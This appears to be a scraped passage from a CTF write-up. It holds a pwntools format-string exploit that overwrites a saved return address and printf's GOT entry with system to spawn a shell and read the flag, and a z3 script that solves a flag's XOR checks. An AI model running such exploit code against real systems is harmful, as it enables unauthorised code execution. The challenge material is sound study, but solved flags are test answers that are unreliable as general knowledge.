    if ((libc + PRINTF_OFF) & ~0xffff) != ((libc + SYSTEM_OFF) & ~0xffff):
        print("[!] printf/system in different 64K windows - retry (base&0xffff=%#x)"
              % (libc & 0xffff))
        return False

    # ---- run 1, round 2: place write target (saved RIP addr) in buf2 ----
    io.recvuntil(b"2> ", timeout=8)
    send_chunk(io, p64(saved_rip_addr) + b"A" * 7)

    # ---- run 1, round 3: saved RIP low16 := (libc+0x2b282)&0xffff -> re-enter main ----
    loop_rip = (libc + 0x2b282) & 0xffff
    io.recvuntil(b"3> ", timeout=15)     # swallows padding too
    send_chunk(io, b"%%8$%dc%%8$hn" % loop_rip)

    # ---- run 2, round 1: buf1 = target for %6$ at printf(buf2) ----
    io.recvuntil(b"1> ", timeout=15)
    send_chunk(io, p64(printf_got) + b"A" * 7)

    # ---- run 2, round 2: printf@GOT low16 := system low16 ----
    io.recvuntil(b"2> ", timeout=15)
    send_chunk(io, b"%%6$%dc%%6$hn" % (system & 0xffff))
    # printf("3> ") is now system("3> ") -> sh syntax error, returns

    # ---- run 2, round 3: printf(buf3) = system("/bin/sh") ----
    time.sleep(0.6)
    send_chunk(io, b"/bin/sh\x00")       # fgets reads 9 bytes incl the \n
    time.sleep(0.6)
    io.sendline(b"echo PWNED; id; cat flag; cat /flag; ls -la")
    out = io.recv(timeout=6)
    print("[*] shell output: %r" % out[:600])
    return b"PWNED" in out

1
2
3
4
5
6
7

from z3 import *
inp = [BitVec(f"b{i}", 8) for i in range(9)]
s = Solver()
for a, b, c in checks:          # 从反汇编提取的校验约束
    s.add((inp[a] ^ inp[b]) & 0xFF == c)
s.check(); m = s.model()
print("gaslightCTF{ch3ck_0ut_lyra-horse!!_" + bytes(m.eval(x).as_long() for x in inp).decode() + "}")

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112